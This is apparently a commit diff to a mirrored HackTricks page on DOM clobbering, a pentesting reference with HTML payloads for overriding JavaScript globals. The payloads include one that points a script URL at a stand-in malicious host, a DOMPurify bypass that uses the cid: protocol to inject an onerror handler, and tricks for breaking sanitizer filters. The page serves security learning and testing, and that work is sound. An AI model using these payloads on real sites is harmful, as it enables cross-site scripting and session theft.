mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
GITBOOK-3800: No subject
This commit is contained in:
parent
ac9c37e960
commit
0d24e9705b
2 changed files with 101 additions and 24 deletions
|
@ -12,13 +12,93 @@
|
|||
|
||||
</details>
|
||||
|
||||
## **DOM Clobbering**
|
||||
## **Basics**
|
||||
|
||||
### **Clobbering `window.someObject`**
|
||||
It's possible to generate **global variables inside the JS context** with the attributes **`id`** and **`name`** in HTML tags.
|
||||
|
||||
```html
|
||||
<form id=x></form>
|
||||
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
|
||||
```
|
||||
|
||||
**Only** certain elements can use the **name attribute** to clobber globals, they are: `embed`, `form`, `iframe`, `image`, `img` and `object`.
|
||||
|
||||
Interestingly, when you use a **form element** to **clobber** a variable, you will get the **`toString`** value of the element itself: `[object HTMLFormElement]` but with **anchor** the **`toString`** will be the anchor **`href`**. Therefore, if you clobber using the **`a`** tag, you can **control** the **value** when it's **treated as a string**:
|
||||
|
||||
```html
|
||||
<a href="controlled string" id=x></a>
|
||||
<script>
|
||||
console.log(x);//controlled string
|
||||
</script>
|
||||
```
|
||||
|
||||
### Arrays & Attributes
|
||||
|
||||
It's also possible to **clobber an array** and **object attributes**:
|
||||
|
||||
```html
|
||||
<a id=x>
|
||||
<a id=x name=y href=controlled>
|
||||
<script>
|
||||
console.log(x[1])//controlled
|
||||
console.log(x.y)//controlled
|
||||
</script>
|
||||
```
|
||||
|
||||
To clobber **a 3rd attribute** (e.g. x.y.z), you need to use a **`form`**:
|
||||
|
||||
```html
|
||||
<form id=x name=y><input id=z value=controlled></form>
|
||||
<form id=x></form>
|
||||
<script>
|
||||
alert(x.y.z.value)//controlled
|
||||
</script>
|
||||
```
|
||||
|
||||
Clobbering more attributes is **more complicated but still possible**, using iframes:
|
||||
|
||||
```html
|
||||
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
The style tag is used to **give enough time to the iframe to render**. Without it you will find an alert of **undefined**.
|
||||
{% endhint %}
|
||||
|
||||
To clobber deeper attributes, you can use **iframes with html encoding** this way:
|
||||
|
||||
```html
|
||||
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
|
||||
<style>@import 'https://google.com';</style>
|
||||
<script>
|
||||
alert(a.b.c.d.e)//controlled
|
||||
</script>
|
||||
```
|
||||
|
||||
### **Filter Bypassing**
|
||||
|
||||
If a filter is **looping** through the **properties** of a node using something like `document.getElementByID('x').attributes` you could **clobber** the attribute **`.attributes`** and **break the filter**. Other DOM properties like **`tagName`** , **`nodeName`** or **`parentNode`** and more are also **clobberable**.
|
||||
|
||||
```html
|
||||
<form id=x></form>
|
||||
<form id=y>
|
||||
<input name=nodeName>
|
||||
</form>
|
||||
<script>
|
||||
console.log(document.getElementById('x').nodeName)//FORM
|
||||
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
|
||||
</script>
|
||||
```
|
||||
|
||||
## **Clobbering `window.someObject`**
|
||||
|
||||
A common pattern used by JavaScript developers is:
|
||||
|
||||
`var someObject = window.someObject || {};`
|
||||
```javascript
|
||||
var someObject = window.someObject || {};
|
||||
```
|
||||
|
||||
If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:
|
||||
|
||||
|
@ -35,17 +115,21 @@ If you can control some of the HTML on the page, you can clobber the `someObject
|
|||
|
||||
To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:
|
||||
|
||||
**`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`**
|
||||
{% code overflow="wrap" %}
|
||||
```html
|
||||
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`
|
||||
Injecting that data **`window.someObject.url`** is going to be `href=//malicious-website.com/malicious.js`
|
||||
|
||||
**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">` will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
|
||||
**Trick**: **`DOMPurify`** allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">`** will make the HTML encoded `"` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.
|
||||
|
||||
Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you create an `input` inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
|
||||
|
||||
You can [**find an example of this type of clobbering in this CTF writeup**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
|
||||
|
||||
### Clobbering document object
|
||||
## Clobbering document object
|
||||
|
||||
According to the documentation it's possible to overwrite attributes of the document object using DOM Clobbering:
|
||||
|
||||
|
@ -78,16 +162,17 @@ typeof(document.cookie)
|
|||
'object
|
||||
```
|
||||
|
||||
### Clobbering writing after the element
|
||||
## Writing after the element clobbered
|
||||
|
||||
You can clobber the results of a **`document.getElementById()`** call if **you inject a `<html>` or `<body>` tag with the same id attribute**. Here's an example:
|
||||
You can clobber the results of a **`document.getElementById()`** and a **`document.querySelector()`** call if **you inject a `<html>` or `<body>` tag with the same id attribute**. Here's an example:
|
||||
|
||||
```html
|
||||
<div style=display:none id=cdnDomain>test</div>
|
||||
<div style=display:none id=cdnDomain class=x>test</div>
|
||||
<p>
|
||||
<html id="cdnDomain">clobbered</html>
|
||||
<html id="cdnDomain" class=x>clobbered</html>
|
||||
<script>
|
||||
alert(document.getElementById('cdnDomain').innerText);//clobbbered
|
||||
alert(document.querySelector('.x').innerText);//clobbbered
|
||||
</script>
|
||||
```
|
||||
|
||||
|
@ -129,19 +214,7 @@ alert(document.getElementById('cdnDomain').innerText)//clobbered
|
|||
</script>
|
||||
```
|
||||
|
||||
#### Clobbering document.querySelector()
|
||||
|
||||
The same technique can be used to clobber the results of **`document.querySelector()`**. Since this function returns the first element it can find, you clobber the class name using **`<html>`** or **`<body>`** tag.
|
||||
|
||||
```html
|
||||
<div class=x></div>
|
||||
<body class=x>
|
||||
<script>
|
||||
alert(document.querySelector('.x'))
|
||||
</script>
|
||||
```
|
||||
|
||||
### Clobbering Forms
|
||||
## Clobbering Forms
|
||||
|
||||
It's possible to add **new entries inside a form** just by **specifying the `form` attribute** inside some tags. You can use this to **add new values inside a form** and to even add a new **button** to **send it** (clickjacking or abusing some `.click()` JS code):
|
||||
|
||||
|
|
|
@ -220,6 +220,10 @@ for(let i=0;i<=0x10ffff;i++){
|
|||
console.log(log)//33,45,62
|
||||
```
|
||||
|
||||
## **Analizing attributtes**
|
||||
|
||||
The tool **Hackability inspector** from Portswigger helps to **analyze** the **attributtes** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E)
|
||||
|
||||
## **.map js files**
|
||||
|
||||
* Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7)
|
||||
|
|
Loading…
Reference in a new issue